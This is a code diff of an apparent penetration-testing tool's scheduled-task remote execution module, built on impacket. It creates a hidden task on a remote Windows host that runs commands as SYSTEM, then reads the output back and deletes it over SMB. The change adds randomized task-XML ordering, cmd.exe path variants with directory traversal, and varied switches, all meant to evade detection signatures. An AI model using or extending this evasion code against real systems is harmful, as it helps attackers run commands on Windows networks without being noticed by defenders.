11import os
2+ import random
23from textwrap import dedent
34from impacket .dcerpc .v5 import tsch , transport
45from impacket .dcerpc .v5 .dtypes import NULL
@@ -80,51 +81,83 @@ def get_end_boundary(self):
8081 return end_boundary .strftime ("%Y-%m-%dT%H:%M:%S.%f" )[:- 3 ]
8182
8283 def gen_xml (self , command ):
84+ # Random setting order to help with detection
85+ settings = [
86+ " <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>" ,
87+ " <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>" ,
88+ " <AllowHardTerminate>true</AllowHardTerminate>" ,
89+ " <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>" ,
90+ " <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>"
91+ ]
92+ random .shuffle (settings )
93+ randomized_settings = "\n " .join (settings )
94+ settings2 = [
95+ " <AllowStartOnDemand>true</AllowStartOnDemand>" ,
96+ " <Hidden>true</Hidden>" ,
97+ " <Enabled>true</Enabled>" ,
98+ " <RunOnlyIfIdle>false</RunOnlyIfIdle>" ,
99+ " <WakeToRun>false</WakeToRun>" ,
100+ " <Priority>7</Priority>" ,
101+ " <ExecutionTimeLimit>P3D</ExecutionTimeLimit>"
102+ ]
103+ random .shuffle (settings2 )
104+ randomized_settings2 = "\n " .join (settings2 )
105+ idleSettings = [
106+ " <StopOnIdleEnd>true</StopOnIdleEnd>" ,
107+ " <RestartOnIdle>false</RestartOnIdle>"
108+ ]
109+ random .shuffle (idleSettings )
110+ randomized_idleSettings = "\n " .join (idleSettings )
111+
112+ random_cmd_path = [
113+ "cmd" ,
114+ "cmd.exe" ,
115+ "C:\\ Windows\\ System32\\ cmd" ,
116+ "C:\\ Windows\\ System32\\ cmd.exe" ,
117+ "C:\\ Windows\\ System32\\ ..\\ System32\\ cmd" ,
118+ "C:\\ Windows\\ System32\\ ..\\ System32\\ cmd.exe" ,
119+ "C:\\ Windows\\ ..\\ Windows\\ System32\\ cmd"
120+ "C:\\ Windows\\ ..\\ Windows\\ System32\\ cmd.exe" ,
121+ ]
122+ cmd_path = random .choice (random_cmd_path )
123+ random_cmd_arg = ["/c" , "/C" , "/Q /c" , "/F:ON /c" , "/T:fg /c" , "/T:fg /Q /C" , "/F:ON /Q /C" ]
124+ full_command = f"{ random .choice (random_cmd_arg )} { command } "
125+
83126 xml = f"""<?xml version="1.0" encoding="UTF-16"?>
84- <Task version="1.2 " xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
127+ <Task version="1.3 " xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
85128 <Triggers>
86- <RegistrationTrigger>
87- <EndBoundary>{ self .get_end_boundary ()} </EndBoundary>
88- </RegistrationTrigger>
129+ <RegistrationTrigger>
130+ <EndBoundary>{ self .get_end_boundary ()} </EndBoundary>
131+ </RegistrationTrigger>
89132 </Triggers>
90133 <Principals>
91- <Principal id="LocalSystem">
92- <UserId>{ self .run_task_as } </UserId>
93- <RunLevel>HighestAvailable</RunLevel>
94- </Principal>
134+ <Principal id="LocalSystem">
135+ <UserId>{ self .run_task_as } </UserId>
136+ <RunLevel>HighestAvailable</RunLevel>
137+ </Principal>
95138 </Principals>
96139 <Settings>
97- <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
98- <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
99- <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
100- <AllowHardTerminate>true</AllowHardTerminate>
101- <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
102- <IdleSettings>
103- <StopOnIdleEnd>true</StopOnIdleEnd>
104- <RestartOnIdle>false</RestartOnIdle>
105- </IdleSettings>
106- <AllowStartOnDemand>true</AllowStartOnDemand>
107- <Enabled>true</Enabled>
108- <Hidden>true</Hidden>
109- <RunOnlyIfIdle>false</RunOnlyIfIdle>
110- <WakeToRun>false</WakeToRun>
111- <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
112- <Priority>7</Priority>
140+ { randomized_settings }
141+ <IdleSettings>
142+ { randomized_idleSettings }
143+ </IdleSettings>
144+ { randomized_settings2 }
113145 </Settings>
114146 <Actions Context="LocalSystem">
115- <Exec>
116- <Command>cmd.exe </Command>
147+ <Exec>
148+ <Command>{ cmd_path } </Command>
117149 """
150+
118151 if self .__retOutput :
119152 file_location = "\\ Windows\\ Temp\\ " if self .output_file_location is None else self .output_file_location
120153 if self .output_filename is None :
121- self .__output_filename = os .path .join (file_location , gen_random_string (6 ))
154+ self .__output_filename = os .path .join (file_location , gen_random_string (8 ))
122155 else :
123156 self .__output_filename = os .path .join (file_location , self .output_filename )
124- argument_xml = f" <Arguments>/C { command } > { self .__output_filename } 2>&1</Arguments>"
157+ argument_xml = f" <Arguments>{ full_command } > { self .__output_filename } 2>&1</Arguments>"
125158
126159 elif self .__retOutput is False :
127- argument_xml = f" <Arguments>/C { command } </Arguments>"
160+ argument_xml = f" <Arguments>{ full_command } </Arguments>"
128161
129162 self .logger .debug ("Generated argument XML: " + argument_xml )
130163 xml += argument_xml
@@ -147,7 +180,6 @@ def execute_handler(self, command):
147180 dce .connect ()
148181
149182 xml = self .gen_xml (command )
150-
151183 self .logger .debug (f"Task XML: { xml } " )
152184 self .logger .info (f"Creating task \\ { self .task_name } " )
153185 try :
@@ -178,7 +210,6 @@ def execute_handler(self, command):
178210
179211 if self .__retOutput :
180212 smbConnection = self .__rpctransport .get_smb_connection ()
181-
182213 tries = 1
183214 # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
184215 sleep (0.4 )
@@ -211,7 +242,6 @@ def execute_handler(self, command):
211242 self .logger .debug (f"Exception when trying to read output file: { e !s} . { self .__tries - tries } tries left, retrying..." )
212243 tries += 1
213244 sleep (1 )
214-
215245 try :
216246 self .logger .debug (f"Deleting file { self .__share } \\ { self .__output_filename } " )
217247 smbConnection .deleteFile (self .__share , self .__output_filename )
0 commit comments